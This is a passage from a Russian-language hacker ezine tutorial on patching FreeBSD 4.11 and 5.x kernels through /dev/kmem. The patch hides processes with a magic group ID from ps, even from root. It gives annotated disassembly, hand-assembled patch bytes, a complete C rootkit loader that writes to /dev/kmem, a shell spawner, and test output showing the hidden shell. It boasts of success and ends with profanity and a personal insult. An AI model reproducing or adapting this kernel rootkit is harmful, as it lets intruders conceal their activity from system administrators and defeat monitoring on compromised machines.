 c06088b9:       75 0d                   jne    c06088c8 <cr_cansee+0x38>

 c06088bb:       53                      push   %ebx
 c06088bc:       56                      push   %esi
 c06088bd:       e8 5a ff ff ff          call   c060881c <cr_seeothergids>
 c06088c2:       83 c4 08                add    $0x8,%esp

 # меняем на addl %edx, %eax
 c06088c5:       89 c2                   mov    %eax,%edx

 # ещё 3 байта нахуй!!
 c06088c7:       90                      nop
 c06088c8:       89 d0                   mov    %edx,%eax

 c06088ca:       8d 65 f8                lea    0xfffffff8(%ebp),%esp
 c06088cd:       5b                      pop    %ebx
 c06088ce:       5e                      pop    %esi
 c06088cf:       c9                      leave
 c06088d0:       c3                      ret
 c06088d1:       8d 76 00                lea    0x0(%esi),%esi


   Итого: 4+4+3 == 11 байт, и это не учитывая  ещё  3 байта  после  ret-a.
   Очень неплохо, вот как будет выглядить исправленная функция cr_cansee:


 "\x55"                 # push  %ebp
 "\x89\xe5"             # movl  %esp, %ebp
 "\x56"                 # push  %esi
 "\x53"                 # push  %ebx
 "\x8b\x75\x08"         # push  0x8(%ebp), %esi
 "\x8b\x5d\x0c"         # push  0xc(%ebp), %ebx

 "\x53"                 # push  %ebx
 "\x56"                 # push  %esi
 "\xe8\xe6\x09\xff\xff" # call  c05f9288 <prison_check>
 "\x83\xc4\x08"         # add   $0x8,%esp
 "\x89\xc2"             # mov   %eax,%edx         EDX = EAX

 "\x53"                 # push  %ebx
 "\x56"                 # push  %esi
 "\xe8\x2e\xff\xff\xff" # call  c06087e0 <cr_seeotheruids>
 "\x83\xc4\x08"         # add   $0x8,%esp
 "\x01\xc2"             # add   %eax,%edx         EDX += EAX

 "\x53"                 # push  %ebx
 "\x56"                 # push  %esi
 "\xe8\x5a\xff\xff\xff" # call  c060881c <cr_seeothergids>
 "\x83\xc4\x08"         # add   $0x8,%esp
 "\x01\xd0"             # add   %edx,%eax         EAX += EDX

 # our clipcode here
 "\x6a\x21"             # push  MAGIC_GID <0..255>
 "\x5a"                 # popl  %edx
 "\x39\x53\x54"         # cmpl  %edx, 0x54(%ebx)
 "\x75\x01"             # jne   +1
 "\x40"                 # incl  %eax

 # ret-back
 "\x8d\x65\xf8"         # leal  0xfffffff8(%ebp),%esp
 "\x5b"                 # pop   %ebx
 "\x5e"                 # pop   %esi
 "\xc9"                 # leave
 "\xc3"


  Вот собственно и всё,такого вида колбасу уже можно писать в кернел, +ещё
  4 байта свободно. Можно, например, сделать поддержку 2-х байтового magic
  gid-а или даже 4-х байтового (по спецификации  на gid отводится 32 бита,
  а т.к. юзаются для совместимости как  правило лишь 16,  вторую  половину
  можно приладить для собственных нужд ;).



=[ 0x07  something wrong? (4.x) ]==============================================

   Когда  в руки  попала 4.11,  я сперва  удивился,  не  обнаружив  в  ней
   ,  p_cansee  но  всё   оказалось  не   так  плохо.   Вот   исходник  из
   sys/kern/kern_proc:

 ...
    for (doingzomb=0 ; doingzomb < 2 ; doingzomb++) {
        if (!doingzomb)
            p = LIST_FIRST(&allproc);
        else
            p = LIST_FIRST(&zombproc);
        for (; p != 0; p = LIST_NEXT(p, p_list)) {
            /*
             * Show a user only their processes.
             */
            if ((!ps_showallprocs) && p_trespass(curproc, p))
                continue;
            /*
             * Skip embryonic processes.
             */
            if (p->p_stat == SIDL)
                continue;
 ...

  Таак, те же яйца, но в профиль - p_cansee называется p_treespass, глянем
  на неё:

 int
 p_trespass(struct proc *p1, struct proc *p2)
 {

     if (p1 == p2)
         return (0);
     if (!PRISON_CHECK(p1, p2))
         return (ESRCH);
     if (p1->p_cred->p_ruid == p2->p_cred->p_ruid)
         return (0);
     if (p1->p_ucred->cr_uid == p2->p_cred->p_ruid)
         return (0);
     if (p1->p_cred->p_ruid == p2->p_ucred->cr_uid)
         return (0);
     if (p1->p_ucred->cr_uid == p2->p_ucred->cr_uid)
         return (0);
     if (!suser_xxx(0, p1, PRISON_ROOT))
         return (0);
     return (EPERM);
 }

   Здорово,  оказывается у нас тут всё от обратного - по  умолчанию только
   рут может  смотреть чужие процессы.  Нам  осталось  лишь создать  новую
   привелегированную касту, которую не будет видеть даже рут. Смотрим дамп
   p_trespass():

 ./kernel-4.11:     file format elf32-i386-freebsd

 Disassembly of section .text:

 c023b420 <p_trespass>:
 c023b420:   55                      push   %ebp
 c023b421:   89 e5                   mov    %esp,%ebp
 c023b423:   56                      push   %esi
 c023b424:   53                      push   %ebx
 c023b425:   8b 5d 08                mov    0x8(%ebp),%ebx
 c023b428:   8b 75 0c                mov    0xc(%ebp),%esi

 # if p1 == p2 return 0
 c023b42b:   39 f3                   cmp    %esi,%ebx
 c023b42d:   74 79                   je     c023b4a8 <p_trespass+0x88>

 # PRISON_CHECK
 c023b42f:   83 bb 60 01 00 00 00    cmpl   $0x0,0x160(%ebx)
 c023b436:   74 18                   je     c023b450 <p_trespass+0x30>
 c023b438:   8b 83 60 01 00 00       mov    0x160(%ebx),%eax
 c023b43e:   3b 86 60 01 00 00       cmp    0x160(%esi),%eax
 c023b444:   74 0a                   je     c023b450 <p_trespass+0x30>

 # замена на push 3 pop %eax, +2 байта
 c023b446:   b8 03 00 00 00          mov    $0x3,%eax
 c023b44b:   eb 5d                   jmp    c023b4aa <p_trespass+0x8a>
 c023b44d:   8d 76 00                lea    0x0(%esi),%esi

 # p1->p_cred->p_ruid == p2->p_cred->p_ruid  ret 0
 c023b450:   8b 43 10                mov    0x10(%ebx),%eax
 c023b453:   8b 56 10                mov    0x10(%esi),%edx
 c023b456:   8b 40 04                mov    0x4(%eax),%eax
 c023b459:   3b 42 04                cmp    0x4(%edx),%eax
 c023b45c:   74 4a                   je     c023b4a8 <p_trespass+0x88>

 # p1->p_ucred->cr_uid == p2->p_cred->p_ruid ret 0
 c023b45e:   8b 43 10                mov    0x10(%ebx),%eax
 c023b461:   8b 00                   mov    (%eax),%eax
 c023b463:   8b 56 10                mov    0x10(%esi),%edx
 c023b466:   8b 40 04                mov    0x4(%eax),%eax
 c023b469:   3b 42 04                cmp    0x4(%edx),%eax
 c023b46c:   74 3a                   je     c023b4a8 <p_trespass+0x88>

 # p1->p_cred->p_ruid == p2->p_ucred->cr_uid ret 0
 c023b46e:   8b 4b 10                mov    0x10(%ebx),%ecx
 c023b471:   8b 46 10                mov    0x10(%esi),%eax
 c023b474:   8b 10                   mov    (%eax),%edx
 c023b476:   8b 41 04                mov    0x4(%ecx),%eax
 c023b479:   3b 42 04                cmp    0x4(%edx),%eax
 c023b47c:   74 2a                   je     c023b4a8 <p_trespass+0x88>

 # p1->p_ucred->cr_uid == p2->p_ucred->cr_uid ret 0
 c023b47e:   8b 43 10                mov    0x10(%ebx),%eax
 c023b481:   8b 08                   mov    (%eax),%ecx
 c023b483:   8b 46 10                mov    0x10(%esi),%eax
 c023b486:   8b 10                   mov    (%eax),%edx
 c023b488:   8b 41 04                mov    0x4(%ecx),%eax
 c023b48b:   3b 42 04                cmp    0x4(%edx),%eax
 c023b48e:   74 18                   je     c023b4a8 <p_trespass+0x88>

 # is root here?
 c023b490:   6a 01                   push   $0x1
 c023b492:   53                      push   %ebx
 c023b493:   6a 00                   push   $0x0
 c023b495:   e8 2e ff ff ff          call   c023b3c8 <suser_xxx>

 # if root jump to ASS
 c023b49a:   85 c0                   test   %eax,%eax
 c023b49c:   74 0a                   je     c023b4a8 <p_trespass+0x88>

 # hehehe +4 bytes,  incl %eax == 0x40
 c023b49e:   b8 01 00 00 00          mov    $0x1,%eax
 c023b4a3:   eb 05                   jmp    c023b4aa <p_trespass+0x8a>

 # shit, cut this off,  +3 bytes 4 clipcode, 7 total..
 c023b4a5:   8d 76 00                lea    0x0(%esi),%esi

 c023b4a8:   31 c0                   xor    %eax,%eax

 c023b4aa:   8d 65 f8                lea    0xfffffff8(%ebp),%esp
 c023b4ad:   5b                      pop    %ebx
 c023b4ae:   5e                      pop    %esi
 c023b4af:   c9                      leave
 c023b4b0:   c3                      ret

 # + 3 bytes, TOTAL: 12
 c023b4b1:   8d 76 00                lea    0x0(%esi),%esi


   Клипкод можно будет вписать по адресу c023b4a8,  тогда после всех ret 0
   сперва будет проверяться, является ли данный процесс скрытым, и если да
   то просто не обнуляем eax. Функцию придётся переписывать на асме,  т.к.
   фриспейс раскидан  неравномерно,  да к тому же и имеет место быть  тьма
   джампов, которые, естественно, "поедут" после просто инфецирования.

   Но пока поговорим о клипкоде под 4.х (тестилось всё,  как я уже сказал,
   на 4.11).  Сперва о структурах с инфой  пользователя,  они  изменились.
   То, что нужно нам, лежит теперь не в ucred, а в pcred:

 struct  pcred {
     struct  ucred *pc_ucred;    /* Current credentials. */
     uid_t   p_ruid;         /* Real user id. */
     uid_t   p_svuid;        /* Saved effective user id. */
     gid_t   p_rgid;         /* Real group id. */
     gid_t   p_svgid;        /* Saved effective group id. */
     int p_refcnt;       /* Number of references. */
     struct  uidinfo *p_uidinfo; /* Per uid resource consumption */
 };

   Оффсет до  указателя на pcred текущего процесса  в структуре proc равен
   0x10, что легко можно увидеть из приведённого дампа.  И кстати,  теперь
   указатель на второй аргумент хранится в esi, а не в ebx.  Оффсет до gid
   равен 0x0c.

   Примерный clipcode:

     xorl   %eax,%eax   // обнуляем eax

  // start
     push   $0x21
     pop    %edx
     movl   0x10(%esi), %ebx
     cmp    %edx, 0x0c(%ebi)  // сравниваем gid с 33
     jne     +1               // если не равен, то не трогаем eax
     incl   %eax
  // end

  Result:

   "\x6a\x21"
   "\x5a"
   "\x8b\x5e\x10"
   "\x39\x53\x0c"
   "\x75\x01"
   "\x40"
   // 12 bytes


   Но тут в голову ударила одна мысль - первое условие тут:

     if ((!ps_showallprocs) && p_trespass(curproc, p))

   Если  значение  sysctl-а  ps_showallprocs  равно нулю,  то p_trespass()
   скипается  и  собственно все наши усилия тщетны.  Тогда  родилась  идея
   пофиксить  sysctl_kern_proc(),  что конечно  не лучший  вариант с точки
   зрения рационального программирования - соответственно нужно бы патчить
   и sysctl_kern_args(),но это можно сделать по аналогии. Сейчас посмотрим
   как быть с kern_proc, перво-наперво нужен её дамп. Вот и он:

 /kernel:     file format elf32-i386

 Disassembly of section .text:

 c023a7a0 <sysctl_kern_proc+0x88>:
 c023a7a0:   1a 68 c8                sbb    0xffffffc8(%eax),%ch
 c023a7a3:   14 00                   adc    $0x0,%al
 c023a7a5:   00 6a 00                add    %ch,0x0(%edx)
 c023a7a8:   50                      push   %eax
 c023a7a9:   89 c2                   mov    %eax,%edx
 c023a7ab:   8b 42 14                mov    0x14(%edx),%eax
 c023a7ae:   ff d0                   call   *%eax
 c023a7b0:   83 c4 0c                add    $0xc,%esp
 c023a7b3:   85 c0                   test   %eax,%eax
 c023a7b5:   0f 85 11 01 00 00       jne    c023a8cc <sysctl_kern_proc+0x1b4>
 c023a7bb:   31 ff                   xor    %edi,%edi
 c023a7bd:   8d 76 00                lea    0x0(%esi),%esi
 c023a7c0:   85 ff                   test   %edi,%edi
 c023a7c2:   75 0c                   jne    c023a7d0 <sysctl_kern_proc+0xb8>
 c023a7c4:   8b 1d 78 d7 4b c0       mov    0xc04bd778,%ebx
 c023a7ca:   e9 e9 00 00 00          jmp    c023a8b8 <sysctl_kern_proc+0x1a0>
 c023a7cf:   90                      nop
 c023a7d0:   8b 1d 84 d7 4b c0       mov    0xc04bd784,%ebx
 c023a7d6:   e9 dd 00 00 00          jmp    c023a8b8 <sysctl_kern_proc+0x1a0>

 # psshowallproc == 0 ??    [1]
 c023a7db:   90                      nop
 c023a7dc:   83 3d 6c 9f 46 c0 00    cmpl   $0x0,0xc0469f6c
 c023a7e3:   75 17                   jne    c023a7fc <sysctl_kern_proc+0xe4>


 # p_trespass() == 0 ??     [2]
 c023a7e5:   53                      push   %ebx
 c023a7e6:   ff 35 10 8b 48 c0       pushl  0xc0488b10
 c023a7ec:   e8 2f 0c 00 00          call   c023b420 <p_trespass>
 c023a7f1:   83 c4 08                add    $0x8,%esp
 c023a7f4:   85 c0                   test   %eax,%eax
 c023a7f6:   0f 85 b9 00 00 00       jne    c023a8b5 <sysctl_kern_proc+0x19d>


 # p->p_stat == SIDL ??     [3]
 c023a7fc:   80 7b 2c 01             cmpb   $0x1,0x2c(%ebx)
 c023a800:   0f 84 af 00 00 00       je     c023a8b5 <sysctl_kern_proc+0x19d>


 c023a806:   8b 55 08                mov    0x8(%ebp),%edx
 c023a809:   8b 42 08                mov    0x8(%edx),%eax
 c023a80c:   83 f8 04                cmp    $0x4,%eax
 c023a80f:   74 2f                   je     c023a840 <sysctl_kern_proc+0x128>
 c023a811:   7f 09                   jg     c023a81c <sysctl_kern_proc+0x104>
 c023a813:   83 f8 02                cmp    $0x2,%eax
 c023a816:   74 10                   je     c023a828 <sysctl_kern_proc+0x110>
 c023a818:   eb 6d                   jmp    c023a887 <sysctl_kern_proc+0x16f>
 c023a81a:   89 f6                   mov    %esi,%esi
 c023a81c:   83 f8 05                cmp    $0x5,%eax
 c023a81f:   74 4b                   je     c023a86c <sysctl_kern_proc+0x154>
 c023a821:   83 f8 06                cmp    $0x6,%eax
 c023a824:   74 52                   je     c023a878 <sysctl_kern_proc+0x160>
 c023a826:   eb 5f                   jmp    c023a887 <sysctl_kern_proc+0x16f>
 c023a828:   83 bb 54 01 00 00 00    cmpl   $0x0,0x154(%ebx)


 # JUMP POINT     *********** [4]
 c023a82f:   0f 84 80 00 00 00       je     c023a8b5 <sysctl_kern_proc+0x19d>


 c023a835:   8b 83 54 01 00 00       mov    0x154(%ebx),%eax
 c023a83b:   8b 40 14                mov    0x14(%eax),%eax
 c023a83e:   eb 43                   jmp    c023a883 <sysctl_kern_proc+0x16b>
 c023a840:   f6 43 28 02             testb  $0x2,0x28(%ebx)
 c023a844:   74 6f                   je     c023a8b5 <sysctl_kern_proc+0x19d>
 c023a846:   8b 83 54 01 00 00       mov    0x154(%ebx),%eax
 c023a84c:   83 78 0c 00             cmpl   $0x0,0xc(%eax)
 c023a850:   74 63                   je     c023a8b5 <sysctl_kern_proc+0x19d>
 c023a852:   8b 40 0c                mov    0xc(%eax),%eax
 c023a855:   83 78 0c 00             cmpl   $0x0,0xc(%eax)
 c023a859:   74 5a                   je     c023a8b5 <sysctl_kern_proc+0x19d>
 c023a85b:   8b 40 0c                mov    0xc(%eax),%eax
 c023a85e:   ff 70 58                pushl  0x58(%eax)
 c023a861:   e8 7a 6f ff ff          call   c02317e0 <dev2udev>
 c023a866:   83 c4 04                add    $0x4,%esp
 c023a869:   eb 18                   jmp    c023a883 <sysctl_kern_proc+0x16b>
 c023a86b:   90                      nop
 c023a86c:   8b 43 10                mov    0x10(%ebx),%eax
 c023a86f:   83 38 00                cmpl   $0x0,(%eax)
 c023a872:   74 41                   je     c023a8b5 <sysctl_kern_proc+0x19d>
 c023a874:   8b 00                   mov    (%eax),%eax
 c023a876:   eb 08                   jmp    c023a880 <sysctl_kern_proc+0x168>
 c023a878:   8b 43 10                mov    0x10(%ebx),%eax
 c023a87b:   83 38 00                cmpl   $0x0,(%eax)
 c023a87e:   74 35                   je     c023a8b5 <sysctl_kern_proc+0x19d>
 c023a880:   8b 40 04                mov    0x4(%eax),%eax
 c023a883:   3b 06                   cmp    (%esi),%eax
 c023a885:   75 2e                   jne    c023a8b5 <sysctl_kern_proc+0x19d>
 c023a887:   a1 10 8b 48 c0          mov    0xc0488b10,%eax
 c023a88c:   83 b8 60 01 00 00 00    cmpl   $0x0,0x160(%eax)
 c023a893:   74 0e                   je     c023a8a3 <sysctl_kern_proc+0x18b>
 c023a895:   8b 80 60 01 00 00       mov    0x160(%eax),%eax
 c023a89b:   3b 83 60 01 00 00       cmp    0x160(%ebx),%eax
 c023a8a1:   75 12                   jne    c023a8b5 <sysctl_kern_proc+0x19d>
 c023a8a3:   57                      push   %edi
 c023a8a4:   8b 45 14                mov    0x14(%ebp),%eax
 c023a8a7:   50                      push   %eax
 c023a8a8:   53                      push   %ebx
 c023a8a9:   e8 de fd ff ff          call   c023a68c <sysctl_out_proc>
 c023a8ae:   83 c4 0c                add    $0xc,%esp
 c023a8b1:   85 c0                   test   %eax,%eax
 c023a8b3:   75 17                   jne    c023a8cc <sysctl_kern_proc+0x1b4>


 # LAND HERE!!     *********       [5]
 c023a8b5:   8b 5b 08                mov    0x8(%ebx),%ebx


 c023a8b8:   85 db                   test   %ebx,%ebx
 c023a8ba:   0f 85 1c ff ff ff       jne    c023a7dc <sysctl_kern_proc+0xc4>
 c023a8c0:   47                      inc    %edi
 c023a8c1:   83 ff 01                cmp    $0x1,%edi
 c023a8c4:   0f 8e f6 fe ff ff       jle    c023a7c0 <sysctl_kern_proc+0xa8>
 c023a8ca:   31 c0                   xor    %eax,%eax
 c023a8cc:   8d 65 f4                lea    0xfffffff4(%ebp),%esp
 c023a8cf:   5b                      pop    %ebx
 c023a8d0:   5e                      pop    %esi
 c023a8d1:   5f                      pop    %edi
 c023a8d2:   c9                      leave
 c023a8d3:   c3                      ret


   Смотрим, что же происходит. Если psshowallproc выключен (!= 0),  то при
   проверке [1] скипается вызов p_tresspass():

 # psshowallproc == 0 ??    [1]
 c023a7db:   90                      nop
 c023a7dc:   83 3d 6c 9f 46 c0 00    cmpl   $0x0,0xc0469f6c

 # скипаем p_tresspass(), jmp to LFUCK
 c023a7e3:   75 17                   jne    c023a7fc <sysctl_kern_proc+0xe4>


 # p_trespass() == 0 ??     [2]
 c023a7e5:   53                      push   %ebx
 c023a7e6:   ff 35 10 8b 48 c0       pushl  0xc0488b10
 c023a7ec:   e8 2f 0c 00 00          call   c023b420 <p_trespass>
 c023a7f1:   83 c4 08                add    $0x8,%esp
 c023a7f4:   85 c0                   test   %eax,%eax

 # continue
 c023a7f6:   0f 85 b9 00 00 00       jne    c023a8b5 <sysctl_kern_proc+0x19d>

 # LFUCK: приземляемся сюда


   Вывод первый  -  клипкод нужно вешать сразу после вызова  p_trespass(),
   то есть там, куда происходит джамп из проверки [1].  Если проверка  [2]
   провалилась, то происходит long jump в точку [5].  Заметьте,  что опкод
   данной инструкции занимает целых ниипаца 6 байт.

   Смотрим дальше:

 # p->p_stat == SIDL ??     [3]
 c023a7fc:   80 7b 2c 01             cmpb   $0x1,0x2c(%ebx)
 # continue;
 c023a800:   0f 84 af 00 00 00       je     c023a8b5 <sysctl_kern_proc+0x19d>

   Обращаем внимание на то, что:

 - проверка [3] занимает слишком много места
 - почти не играет роли (сколько ни тестили, без неё пашет всё нормально)
 - вместо неё можно вписать клипкод
 - снова происходит long jump в точку [5], снова 6 байт опкод.

   И наконец далее:

 c023a806:   8b 55 08                mov    0x8(%ebp),%edx
 c023a809:   8b 42 08                mov    0x8(%edx),%eax
 c023a80c:   83 f8 04                cmp    $0x4,%eax
 c023a80f:   74 2f                   je     c023a840 <sysctl_kern_proc+0x128>
 c023a811:   7f 09                   jg     c023a81c <sysctl_kern_proc+0x104>
 c023a813:   83 f8 02                cmp    $0x2,%eax
 c023a816:   74 10                   je     c023a828 <sysctl_kern_proc+0x110>
 c023a818:   eb 6d                   jmp    c023a887 <sysctl_kern_proc+0x16f>
 c023a81a:   89 f6                   mov    %esi,%esi
 c023a81c:   83 f8 05                cmp    $0x5,%eax
 c023a81f:   74 4b                   je     c023a86c <sysctl_kern_proc+0x154>
 c023a821:   83 f8 06                cmp    $0x6,%eax
 c023a824:   74 52                   je     c023a878 <sysctl_kern_proc+0x160>
 c023a826:   eb 5f                   jmp    c023a887 <sysctl_kern_proc+0x16f>
 c023a828:   83 bb 54 01 00 00 00    cmpl   $0x0,0x154(%ebx)


 # JUMP POINT     *********** [4]
 c023a82f:   0f 84 80 00 00 00       je     c023a8b5 <sysctl_kern_proc+0x19d>

   Выводы:  т.к.  6-и байт у нас нету лишних для прыжка в  [5] (всё пожрёт
   клипкод),  то мы можем заменить их локальными джампами,  а потом просто
   сигануть в [4],  откуда нас  выкинет куда надо (если кто ещё  не понял,
   то джампы из [2],[3] и [4] ведут в одну точку, в нашем случае [5]).

   Теперь попробуем clip_code оформить под данные условия:

 .globl _start
 _start:

   mov 0x10(%ebx), %edx   # в edx кладём указатель на ucred
   cmpb $0x21, 0x0c(%edx) # gid == 33 ??
   jne .lose              # если нет то перепрыгиваем в lose
   cmpl %edx, %edx        # если да, то выставляем тригеры сравнения
   jmp .win               # прыгаем в точку [4]

 .lose:
   xorl %eax, %eax
   nop
 .win:
   nop
   ret

 # eof

   Обратите внимание на такую деталь:  т.к.  в точке  [4]  стоит не просто
   джамп,  а jump-if-equal,  то нам  необходимо  перед  прыжком  выполнить
   сравнение,  которые бы выставило состояние  тригеров в EQUAL.  В данном
   случае используется "cmpl %edx, %edx",  хотя это не суть важно.  Теперь
   переводим в hex (расстояния для прыжков расчитываются из дампа):

 "\x8b\x53\x10"
 "\x80\x7a\x0c\x0a"
 "\x75\x05"   # 0x05 - прыгаем через 4 байта опкодов + через 1 байт набивки
              # но о ней чуть позже
 "\x39\xd2"
 "\xeb\x2a"   # 0x2a - расстояние до точки [4]

   Полученный размер:  13 байт  (не считая  НДС ))). Размер перезаписанной
   проверки [3] - 10, не хватает всего 3х. И вот тут самое время вспомнить
   про проверку [2]:

 # p_trespass() == 0 ??     [2]
 c023a7e5:   53                      push   %ebx
 c023a7e6:   ff 35 10 8b 48 c0       pushl  0xc0488b10
 c023a7ec:   e8 2f 0c 00 00          call   c023b420 <p_trespass>
 c023a7f1:   83 c4 08                add    $0x8,%esp
 c023a7f4:   85 c0                   test   %eax,%eax

 # continue
 c023a7f6:   0f 85 b9 00 00 00       jne    c023a8b5 <sysctl_kern_proc+0x19d>

   ^^^  Данный джамп забыли  переписать на локальный, то есть получаем ещё
   4 байта под  клип код и необходимость  фиксить адрес  прыжка  из первой
   проверки: был 0x17, вычитаем эти 4 байта, новый адрес - 0x13.

   Т.к.  у нас появился  1 лишний байт,  то просто сунем один nop  в конец
   клипкода.

   Смотрим, что же получается:

 // джамп из проверки [1]:
 "\x75\x13" // вписываем новый адрес 0x13 вместо 0x17

 // p_trespass() aka проверка [2]:
 "\x53"
 "\xff\x35\x10\x8b\x48\xc0"
 "\xe8\x2f\x0c\x00\x00"
 "\x83\xc4\x08"
 "\x85\xc0"
 "\x75\x09" // меняем long jump на локальный, если юзер не имеет прав
            // смотреть процесс то прыгаем его ту часть клипкода, где
            // происходит джамп в точку [4],  тем самым эмулируя  его
            // нормальную работу

 // clip_code  FreeBSD 4.11 (x86) 13 bytes
 "\x8b\x53\x10"
 "\x80\x7a\x0c\x21"
 "\x75\x05"

 // собственно сюда прыгает p_trespass() в случае ошибки:
 "\x39\xd2"
 "\xeb\x2a" // jump to [4]
 // таким образом всё работает также, как в оригинальном коде
 "\x90"; // набивка - 1 nop


   Осталось лишь потестить.



=[ 0x08  testing on 4.11-release ]=============================================

 root~# cat klmn_4.11.c
 // dstaff warezz FreeBSD 4.11-Release (x86) process hider
 #include <stdio.h>
 #include <fcntl.h>
 #include <sys/stat.h>

 #define OFFSET  0xc023a7e3
 #define SIZE    35

  char clip_code[] =
  "\x75\x13" // new offset
  "\x53"
  "\xff\x35\x10\x8b\x48\xc0"

  "\xe8\x2f\x0c\x00\x00"
  "\x83\xc4\x08"
  "\x85\xc0"
  "\x75\x09"

  // clip_code  FreeBSD 4.11 (x86) 13 bytes
  "\x8b\x53\x10"
  "\x80\x7a\x0c\x21"
  "\x75\x05"
  "\x39\xd2"
  "\xeb\x2a"
  "\x90";

 int main()
 {
   int fd;

   fd = open("/dev/kmem", O_WRONLY);
   if (fd < 0) return 0;

   if (lseek(fd, OFFSET, 0) < 0) return 0;
   write(fd, &clip_code, SIZE);
   close(fd);

   printf("done\n");
   return 0;
 }


 root~# cat shell.c
 #include <stdio.h>

 int main()
 {
   int pid;
   char *argz[] = {"/bin/sh", "-i", 0};

   pid = fork();

   if (pid == 0)
   {
     setgid(0x21);
     execve("/bin/sh", argz, 0);
     return 0;
   }

   printf("got pid %i\n", pid);
   waitpid(pid, 0, 0);
   return 0;
 }

 root~# gcc -o shell shell.c
 root~# ./shell
 got pid 108
 # ps -auxww
 USER    PID %CPU %MEM   VSZ  RSS  TT  STAT STARTED      TIME COMMAND
 root      0  0.0  0.0     0    0  ??  DLs  12:42AM   0:00.00  (swapper)
 root    108  0.0  0.1   632  432  v0  S     8:43PM   0:00.00 /bin/sh -i
 root    107  0.0  0.1   884  512  v0  I     8:43PM   0:00.00 ./shell
 root     92  0.0  0.1  1316  928  v0  I     8:43PM   0:00.01 -csh (csh)
 root     91  0.0  0.1   960  708  v3  Is+   8:43PM   0:00.00 /usr/libexec/getty Pc ttyv3
 root     90  0.0  0.1   960  708  v2  Is+   8:43PM   0:00.00 /usr/libexec/getty Pc ttyv2
 root     89  0.0  0.1   960  708  v1  Is+   8:43PM   0:00.00 /usr/libexec/getty Pc ttyv1
 root     88  0.0  0.2  1276  992  v0  Is    8:43PM   0:00.01 login [pam] (login)
 smmsp    73  0.0  0.3  3028 2248  ??  Is    8:43PM   0:00.00 sendmail: Queue runner@00:30:00 for /var/spool/clientmqueue (sendmail)
 root     70  0.0  0.3  3132 2256  ??  Is    8:43PM   0:00.00 sendmail: Queue runner@00:30:00 for /var/spool/mqueue (sendmail)
 root     67  0.0  0.1  1036  772  ??  Is    8:42PM   0:00.00 /usr/sbin/cron
 root     21  0.0  0.0   212   96  ??  Is   12:42AM   0:00.00 adjkerntz -i
 root     10  0.0  0.0     0    0  ??  DL   12:42AM   0:00.00  (vnlru)
 root      9  0.0  0.0     0    0  ??  DL   12:42AM   0:00.01  (syncer)
 root      8  0.0  0.0     0    0  ??  DL   12:42AM   0:00.00  (bufdaemon)
 root      7  0.0  0.0     0    0  ??  DL   12:42AM   0:00.00  (vmdaemon)
 root      6  0.0  0.0     0    0  ??  DL   12:42AM   0:00.00  (pagedaemon)
 root      5  0.0  0.0     0    0  ??  DL   12:42AM   0:00.00  (usb1)
 root      4  0.0  0.0     0    0  ??  DL   12:42AM   0:00.00  (usbtask)
 root      3  0.0  0.0     0    0  ??  DL   12:42AM   0:00.00  (usb0)
 root      2  0.0  0.0     0    0  ??  DL   12:42AM   0:00.00  (taskqueue)
 root      1  0.0  0.1   552  328  ??  ILs  12:42AM   0:00.00 /sbin/init --
 root    109  0.0  0.0   416  248  v0  R+    8:43PM   0:00.00 ps -auxww
 # ps
  PID  TT  STAT      TIME COMMAND
   88  v0  Is     0:00.01 login [pam] (login)
   92  v0  I      0:00.01 -csh (csh)
  107  v0  I      0:00.00 ./shell
  108  v0  S      0:00.00 /bin/sh -i
  112  v0  R+     0:00.00 ps
   89  v1  Is+    0:00.00 /usr/libexec/getty Pc ttyv1
   90  v2  Is+    0:00.00 /usr/libexec/getty Pc ttyv2
   91  v3  Is+    0:00.00 /usr/libexec/getty Pc ttyv3
 # exit

 root~# gcc -o klmn_4.11 klmn_4.11.c
 root~# ./klmn_4.11
 root~# ./shell
 got pid 118
 # ps
  PID  TT  STAT      TIME COMMAND
   88  v0  Is     0:00.01 login [pam] (login)
   92  v0  S      0:00.02 -csh (csh)
  117  v0  S      0:00.00 ./shell
   89  v1  Is+    0:00.00 /usr/libexec/getty Pc ttyv1
   90  v2  Is+    0:00.00 /usr/libexec/getty Pc ttyv2
   91  v3  Is+    0:00.00 /usr/libexec/getty Pc ttyv3
 # ps -auxww
 USER    PID %CPU %MEM   VSZ  RSS  TT  STAT STARTED      TIME COMMAND
 root      0  0.0  0.0     0    0  ??  DLs  12:42AM   0:00.00  (swapper)
 root     92  0.0  0.1  1320  932  v0  I     8:43PM   0:00.02 -csh (csh)
 root     91  0.0  0.1   960  708  v3  Is+   8:43PM   0:00.00 /usr/libexec/getty Pc ttyv3
 root     90  0.0  0.1   960  708  v2  Is+   8:43PM   0:00.00 /usr/libexec/getty Pc ttyv2
 root     89  0.0  0.1   960  708  v1  Is+   8:43PM   0:00.00 /usr/libexec/getty Pc ttyv1
 root     88  0.0  0.2  1276  992  v0  Is    8:43PM   0:00.01 login [pam] (login)
 smmsp    73  0.0  0.3  3028 2248  ??  Is    8:43PM   0:00.00 sendmail: Queue runner@00:30:00 for /var/spool/clientmqueue (sendmail)
 root     70  0.0  0.3  3132 2256  ??  Is    8:43PM   0:00.00 sendmail: Queue runner@00:30:00 for /var/spool/mqueue (sendmail)
 root     67  0.0  0.1  1036  772  ??  Ss    8:42PM   0:00.00 /usr/sbin/cron
 root     21  0.0  0.0   212   96  ??  Is   12:42AM   0:00.00 adjkerntz -i
 root     10  0.0  0.0     0    0  ??  DL   12:42AM   0:00.00  (vnlru)
 root      9  0.0  0.0     0    0  ??  DL   12:42AM   0:00.02  (syncer)
 root      8  0.0  0.0     0    0  ??  DL   12:42AM   0:00.00  (bufdaemon)
 root      7  0.0  0.0     0    0  ??  DL   12:42AM   0:00.00  (vmdaemon)
 root      6  0.0  0.0     0    0  ??  DL   12:42AM   0:00.00  (pagedaemon)
 root      5  0.0  0.0     0    0  ??  DL   12:42AM   0:00.00  (usb1)
 root      4  0.0  0.0     0    0  ??  DL   12:42AM   0:00.00  (usbtask)
 root      3  0.0  0.0     0    0  ??  DL   12:42AM   0:00.00  (usb0)
 root      2  0.0  0.0     0    0  ??  DL   12:42AM   0:00.00  (taskqueue)
 root      1  0.0  0.1   552  328  ??  ILs  12:42AM   0:00.00 /sbin/init --
 root    117  0.0  0.1   884  512  v0  I     8:44PM   0:00.00 ./shell

 # UHAHAHA GODLIKE!!

   ..и нейпёт.


=[ 0x09  outro ]===============================================================

   Вот и всё! Как говорится, кто ищет тот находит. Те, кто хочет могут уже
   лабать версии для  разных  ядер и так далее, те же кто нихуя не понял и
   ждёт  удобного  готового софта - в Бобруйск!  В инклудах  лежат  данные
   выше примитивные примеры для 5.0 и 4.11.

 ~ Have a lot of phun

з.ы. Хырь - СУКА